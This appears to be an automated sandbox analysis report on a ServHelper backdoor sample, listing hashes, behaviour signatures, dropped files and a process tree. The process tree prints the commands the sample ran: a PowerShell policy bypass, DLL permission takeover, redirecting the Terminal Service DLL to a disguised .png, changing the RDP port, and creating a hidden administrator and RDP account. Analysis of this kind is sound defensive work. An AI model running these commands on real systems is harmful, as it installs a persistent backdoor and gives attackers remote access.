Analysis

  • max time kernel
    81s
  • max time network
    84s
  • platform
    windows7_x64
  • resource
    win7-20220414-en
  • submitted
    23-05-2022 21:16

General

  • Target

    7c961f8e57636ca32887de923cda6c6a733ec4a2f549ebe10e94b5b75029bd5c.exe

  • Size

    3.4MB

  • MD5

    c53305cbf3645ab5c84469b892058413

  • SHA1

    0a08890c0e5c082ff135fc5df493c346335bdba5

  • SHA256

    7c961f8e57636ca32887de923cda6c6a733ec4a2f549ebe10e94b5b75029bd5c

  • SHA512

    b9b35d0f26e456c826623de80c084f3fbd523f9c3cd9e5230150e45508c1a128d1f19a7786b1ebf4008705a7843a36ec0c0c084b870c2258d8238cdb4bb30f88

Malware Config

Signatures

  • ServHelper

    ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Modifies RDP port number used by Windows 1 TTPs
  • Possible privilege escalation attempt 8 IoCs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 8 IoCs
  • Modifies file permissions 1 TTPs 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 8 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Delays execution with timeout.exe 1 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious behavior: LoadsDriver 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\7c961f8e57636ca32887de923cda6c6a733ec4a2f549ebe10e94b5b75029bd5c.exe
    "C:\Users\Admin\AppData\Local\Temp\7c961f8e57636ca32887de923cda6c6a733ec4a2f549ebe10e94b5b75029bd5c.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:1436
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c timeout -t 15& powershell -ep bypass -f C:\Users\Admin\AppData\Local\Temp\evil.ps1
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1820
      • C:\Windows\system32\timeout.exe
        timeout -t 15
        3⤵
        • Delays execution with timeout.exe
        PID:640
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -ep bypass -f C:\Users\Admin\AppData\Local\Temp\evil.ps1
        3⤵
        • Drops file in System32 directory
        • Drops file in Windows directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:940
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1476
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
          4⤵
            PID:1772
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
            4⤵
            • Modifies registry key
            PID:1940
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
            4⤵
              PID:608
            • C:\Windows\system32\icacls.exe
              "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
              4⤵
              • Possible privilege escalation attempt
              • Modifies file permissions
              PID:1720
            • C:\Windows\system32\icacls.exe
              "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
              4⤵
              • Possible privilege escalation attempt
              • Modifies file permissions
              PID:1680
            • C:\Windows\system32\icacls.exe
              "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
              4⤵
              • Possible privilege escalation attempt
              • Modifies file permissions
              PID:1080
            • C:\Windows\system32\icacls.exe
              "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
              4⤵
              • Possible privilege escalation attempt
              • Modifies file permissions
              PID:1732
            • C:\Windows\system32\icacls.exe
              "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
              4⤵
              • Possible privilege escalation attempt
              • Modifies file permissions
              PID:1808
            • C:\Windows\system32\icacls.exe
              "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
              4⤵
              • Possible privilege escalation attempt
              • Modifies file permissions
              PID:1800
            • C:\Windows\system32\takeown.exe
              "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
              4⤵
              • Possible privilege escalation attempt
              • Modifies file permissions
              PID:652
            • C:\Windows\system32\net.exe
              "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:1744
            • C:\Windows\system32\cmd.exe
              "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
              4⤵
                PID:1108
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                4⤵
                  PID:1284
                • C:\Windows\system32\cmd.exe
                  "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                  4⤵
                    PID:1636
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                    4⤵
                      PID:1944
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 user wgautilacc Ghar4f5 /del
                  2⤵
                    PID:1728
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                  1⤵
                    PID:1368
                  • C:\Windows\system32\net1.exe
                    C:\Windows\system32\net1 start rdpdr
                    1⤵
                      PID:1184
                    • C:\Windows\system32\net.exe
                      net start rdpdr
                      1⤵
                      • Suspicious use of WriteProcessMemory
                      PID:1432
                    • C:\Windows\system32\cmd.exe
                      cmd /c net start rdpdr
                      1⤵
                      • Suspicious use of WriteProcessMemory
                      PID:1768
                    • C:\Windows\system32\net1.exe
                      C:\Windows\system32\net1 start TermService
                      1⤵
                        PID:1992
                      • C:\Windows\system32\net.exe
                        net start TermService
                        1⤵
                          PID:1072
                        • C:\Windows\System32\cmd.exe
                          cmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                          1⤵
                          • Suspicious use of AdjustPrivilegeToken
                          PID:1808
                          • C:\Windows\system32\net.exe
                            net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                            2⤵
                              PID:1540
                          • C:\Windows\System32\cmd.exe
                            cmd /C net.exe LOCALGROUP "Remote Desktop Users" WYZSGDWS$ /ADD
                            1⤵
                              PID:556
                              • C:\Windows\system32\net.exe
                                net.exe LOCALGROUP "Remote Desktop Users" WYZSGDWS$ /ADD
                                2⤵
                                  PID:1856
                              • C:\Windows\system32\net1.exe
                                C:\Windows\system32\net1 user wgautilacc 0lHKIJyv
                                1⤵
                                • Suspicious use of WriteProcessMemory
                                PID:1108
                              • C:\Windows\system32\net.exe
                                net.exe user wgautilacc 0lHKIJyv
                                1⤵
                                  PID:1764
                                • C:\Windows\System32\cmd.exe
                                  cmd /C net.exe user wgautilacc 0lHKIJyv
                                  1⤵
                                    PID:1492
                                  • C:\Windows\system32\net1.exe
                                    C:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD
                                    1⤵
                                      PID:1484
                                    • C:\Windows\system32\net.exe
                                      net.exe LOCALGROUP "Administrators" wgautilacc /ADD
                                      1⤵
                                        PID:1872
                                      • C:\Windows\System32\cmd.exe
                                        cmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD
                                        1⤵
                                          PID:1468
                                        • C:\Windows\system32\net1.exe
                                          C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WYZSGDWS$ /ADD
                                          1⤵
                                            PID:616
                                          • C:\Windows\system32\net1.exe
                                            C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                                            1⤵
                                              PID:1376
                                            • C:\Windows\system32\net1.exe
                                              C:\Windows\system32\net1 user wgautilacc 0lHKIJyv /add
                                              1⤵
                                                PID:392
                                              • C:\Windows\system32\net.exe
                                                net.exe user wgautilacc 0lHKIJyv /add
                                                1⤵
                                                  PID:460
                                                • C:\Windows\System32\cmd.exe
                                                  cmd /C net.exe user wgautilacc 0lHKIJyv /add
                                                  1⤵
                                                    PID:560
                                                  • C:\Windows\system32\net.exe
                                                    net.exe user wgautilacc Ghar4f5 /del
                                                    1⤵
                                                      PID:1436
                                                    • C:\Windows\System32\cmd.exe
                                                      cmd /C net.exe user wgautilacc Ghar4f5 /del
                                                      1⤵
                                                        PID:1036
                                                      • C:\Windows\system32\cmd.exe
                                                        cmd /c net start TermService
                                                        1⤵
                                                          PID:2000

                                                        Network

                                                        MITRE ATT&CK Enterprise v6

                                                        Replay Monitor

                                                        Loading Replay Monitor...

                                                        Downloads

                                                        • C:\Users\Admin\AppData\Local\Temp\11.ps1

                                                          Filesize

                                                          1KB

                                                          MD5

                                                          c0fae5b04f67d12ca621200aac5378dc

                                                          SHA1

                                                          c82c80ff2a2abb57e9a23ac5a100d82c1d551238

                                                          SHA256

                                                          de678dd80006ed864550a034f48a93bf1cb5a31d706d6f25694f577f7867f2a0

                                                          SHA512

                                                          27e1c30a1ad0ab381f037eb4313f11c9c7c3eaa78b5893ba0df04cac006a4169c92d3c6f3b09d181c6862491f8793818d0e9becf355b9aa4a70bef199c536ff8

                                                        • C:\Users\Admin\AppData\Local\Temp\evil.ps1

                                                          Filesize

                                                          589KB

                                                          MD5

                                                          f6b0a3ab9ff83c5ecb8c8d86de9f88ef

                                                          SHA1

                                                          a9ae34c1319eb0a703607cfeaa313d9af576eaf6

                                                          SHA256

                                                          05fc3cfda3ce59f57e74087fdc7892b9f9b2b707ca1e255a85b524cfb8b563c6

                                                          SHA512

                                                          189dd6e6a4b46ee6504b08b3024fbcebcc6ca2811eb244b642f8cb14f47ec5df4aa7b6d9a2ad229d063d22f079ca33ec4a2890f03b639431b1aee4935afc1f2e

                                                        • C:\Windows\system32\rfxvmt.dll

                                                          Filesize

                                                          40KB

                                                          MD5

                                                          dc39d23e4c0e681fad7a3e1342a2843c

                                                          SHA1

                                                          58fd7d50c2dca464a128f5e0435d6f0515e62073

                                                          SHA256

                                                          6d9a41a03a3bd5362e3af24f97ba99d2f9927d1375e4f608942a712866d133b9

                                                          SHA512

                                                          5cb75e04ce9f5c3714e30c4fd5b8dbcd3952c3d756556dd76206111fe5b4e980c6c50209ab0914ab3afe15bd9c33ff0d49463ca11547214122859918de2a58f7

                                                        • \??\PIPE\samr

                                                          MD5

                                                          d41d8cd98f00b204e9800998ecf8427e

                                                          SHA1

                                                          da39a3ee5e6b4b0d3255bfef95601890afd80709

                                                          SHA256

                                                          e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

                                                          SHA512

                                                          cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

                                                        • \??\PIPE\samr

                                                          MD5

                                                          d41d8cd98f00b204e9800998ecf8427e

                                                          SHA1

                                                          da39a3ee5e6b4b0d3255bfef95601890afd80709

                                                          SHA256

                                                          e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

                                                          SHA512

                                                          cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

                                                        • \Users\Admin\AppData\Local\Temp\nstF308.tmp\System.dll

                                                          Filesize

                                                          11KB

                                                          MD5

                                                          fbe295e5a1acfbd0a6271898f885fe6a

                                                          SHA1

                                                          d6d205922e61635472efb13c2bb92c9ac6cb96da

                                                          SHA256

                                                          a1390a78533c47e55cc364e97af431117126d04a7faed49390210ea3e89dd0e1

                                                          SHA512

                                                          2cb596971e504eaf1ce8e3f09719ebfb3f6234cea5ca7b0d33ec7500832ff4b97ec2bbe15a1fbf7e6a5b02c59db824092b9562cd8991f4d027feab6fd3177b06

                                                        • \Users\Admin\AppData\Local\Temp\nstF308.tmp\blowfish.dll

                                                          Filesize

                                                          22KB

                                                          MD5

                                                          5afd4a9b7e69e7c6e312b2ce4040394a

                                                          SHA1

                                                          fbd07adb3f02f866dc3a327a86b0f319d4a94502

                                                          SHA256

                                                          053b4487d22aacf8274bab448ae1d665fe7926102197b47bfba6c7ed5493b3ae

                                                          SHA512

                                                          f78efe9d1fa7d2ffc731d5f878f81e4dcbfaf0c561fdfbf4c133ba2ce1366c95c4672d67cae6a8bd8fcc7d04861a9da389d98361055ac46fc9793828d9776511

                                                        • \Users\Admin\AppData\Local\Temp\nstF308.tmp\blowfish.dll

                                                          Filesize

                                                          22KB

                                                          MD5

                                                          5afd4a9b7e69e7c6e312b2ce4040394a

                                                          SHA1

                                                          fbd07adb3f02f866dc3a327a86b0f319d4a94502

                                                          SHA256

                                                          053b4487d22aacf8274bab448ae1d665fe7926102197b47bfba6c7ed5493b3ae

                                                          SHA512

                                                          f78efe9d1fa7d2ffc731d5f878f81e4dcbfaf0c561fdfbf4c133ba2ce1366c95c4672d67cae6a8bd8fcc7d04861a9da389d98361055ac46fc9793828d9776511

                                                        • \Users\Admin\AppData\Local\Temp\nstF308.tmp\blowfish.dll

                                                          Filesize

                                                          22KB

                                                          MD5

                                                          5afd4a9b7e69e7c6e312b2ce4040394a

                                                          SHA1

                                                          fbd07adb3f02f866dc3a327a86b0f319d4a94502

                                                          SHA256

                                                          053b4487d22aacf8274bab448ae1d665fe7926102197b47bfba6c7ed5493b3ae

                                                          SHA512

                                                          f78efe9d1fa7d2ffc731d5f878f81e4dcbfaf0c561fdfbf4c133ba2ce1366c95c4672d67cae6a8bd8fcc7d04861a9da389d98361055ac46fc9793828d9776511

                                                        • \Users\Admin\AppData\Local\Temp\nstF308.tmp\blowfish.dll

                                                          Filesize

                                                          22KB

                                                          MD5

                                                          5afd4a9b7e69e7c6e312b2ce4040394a

                                                          SHA1

                                                          fbd07adb3f02f866dc3a327a86b0f319d4a94502

                                                          SHA256

                                                          053b4487d22aacf8274bab448ae1d665fe7926102197b47bfba6c7ed5493b3ae

                                                          SHA512

                                                          f78efe9d1fa7d2ffc731d5f878f81e4dcbfaf0c561fdfbf4c133ba2ce1366c95c4672d67cae6a8bd8fcc7d04861a9da389d98361055ac46fc9793828d9776511

                                                        • \Users\Admin\AppData\Local\Temp\nstF308.tmp\nsUnzip.dll

                                                          Filesize

                                                          146KB

                                                          MD5

                                                          77a26c23948070dc012bba65e7f390aa

                                                          SHA1

                                                          7e112775770f9b3b24e2a238b5f7c66f8802e5d8

                                                          SHA256

                                                          4e4e429ecf1c49119a21c817899f64152b03b41b036fc1d92aee335043364c43

                                                          SHA512

                                                          2e7ffa4ed5c97f555e1b0d6f55ffcfd53cd28302fc77d95fdaea89e0b6b42e67e366331e52358e78e8266d079cc2ca3ea4c909197fb38a5b4c8151c7678d0065

                                                        • \Windows\Branding\mediasrv.png

                                                          Filesize

                                                          54KB

                                                          MD5

                                                          acc5f33ea59a3aceb71f356e818aa32e

                                                          SHA1

                                                          483682b15fa526f620e525292a26c868fd809769

                                                          SHA256

                                                          56fb4078bce366f84deb9236987465ac616717da91edb409344bdbec5f8969d9

                                                          SHA512

                                                          14676268e9a25ae1fae66b758ac508f1e18ef520af044d8626b6c2be48bdcc5d7983d12fbeb112c06e7b1f24bdc3c6edd57a2aa6c91b40fbe38ea93a0956cd44

                                                        • \Windows\Branding\mediasvc.png

                                                          Filesize

                                                          237KB

                                                          MD5

                                                          f97124c949ee386bb6cd3937f275e2ab

                                                          SHA1

                                                          d85a461d0f3547880c38a15b8832adfa30e906d7

                                                          SHA256

                                                          b846a852d9eebe045fb7e353a9203786c18ee485eac42035ebe01ff11cf0ac1a

                                                          SHA512

                                                          957e076384751ee921384645347072fcc3ab1c7c920806125b1ac8ecba7016be186a668c8f38aed064af64cf944a57c07340ee0083892a25f3f90564641516e9

                                                        • memory/392-96-0x0000000000000000-mapping.dmp

                                                        • memory/460-95-0x0000000000000000-mapping.dmp

                                                        • memory/608-78-0x0000000000000000-mapping.dmp

                                                        • memory/616-100-0x0000000000000000-mapping.dmp

                                                        • memory/640-62-0x0000000000000000-mapping.dmp

                                                        • memory/652-69-0x0000000000000000-mapping.dmp

                                                        • memory/940-66-0x0000000002624000-0x0000000002627000-memory.dmp

                                                          Filesize

                                                          12KB

                                                        • memory/940-64-0x000007FEFBD01000-0x000007FEFBD03000-memory.dmp

                                                          Filesize

                                                          8KB

                                                        • memory/940-67-0x000000000262B000-0x000000000264A000-memory.dmp

                                                          Filesize

                                                          124KB

                                                        • memory/940-63-0x0000000000000000-mapping.dmp

                                                        • memory/940-65-0x000007FEF35B0000-0x000007FEF410D000-memory.dmp

                                                          Filesize

                                                          11.4MB

                                                        • memory/1072-89-0x0000000000000000-mapping.dmp

                                                        • memory/1080-74-0x0000000000000000-mapping.dmp

                                                        • memory/1108-106-0x0000000000000000-mapping.dmp

                                                        • memory/1108-83-0x0000000000000000-mapping.dmp

                                                        • memory/1184-86-0x0000000000000000-mapping.dmp

                                                        • memory/1284-87-0x0000000000000000-mapping.dmp

                                                        • memory/1368-82-0x0000000000000000-mapping.dmp

                                                        • memory/1376-98-0x0000000000000000-mapping.dmp

                                                        • memory/1432-85-0x0000000000000000-mapping.dmp

                                                        • memory/1436-93-0x0000000000000000-mapping.dmp

                                                        • memory/1436-54-0x0000000075EF1000-0x0000000075EF3000-memory.dmp

                                                          Filesize

                                                          8KB

                                                        • memory/1476-76-0x0000000000000000-mapping.dmp

                                                        • memory/1484-103-0x0000000000000000-mapping.dmp

                                                        • memory/1540-97-0x0000000000000000-mapping.dmp

                                                        • memory/1636-109-0x0000000000000000-mapping.dmp

                                                        • memory/1680-75-0x0000000000000000-mapping.dmp

                                                        • memory/1720-77-0x0000000000000000-mapping.dmp

                                                        • memory/1728-94-0x0000000000000000-mapping.dmp

                                                        • memory/1732-73-0x0000000000000000-mapping.dmp

                                                        • memory/1744-81-0x0000000000000000-mapping.dmp

                                                        • memory/1764-105-0x0000000000000000-mapping.dmp

                                                        • memory/1768-84-0x0000000000000000-mapping.dmp

                                                        • memory/1772-80-0x0000000000000000-mapping.dmp

                                                        • memory/1800-71-0x0000000000000000-mapping.dmp

                                                        • memory/1808-72-0x0000000000000000-mapping.dmp

                                                        • memory/1820-61-0x0000000000000000-mapping.dmp

                                                        • memory/1856-99-0x0000000000000000-mapping.dmp

                                                        • memory/1872-102-0x0000000000000000-mapping.dmp

                                                        • memory/1940-79-0x0000000000000000-mapping.dmp

                                                        • memory/1944-108-0x0000000000000000-mapping.dmp

                                                        • memory/1992-90-0x0000000000000000-mapping.dmp

                                                        • memory/2000-88-0x0000000000000000-mapping.dmp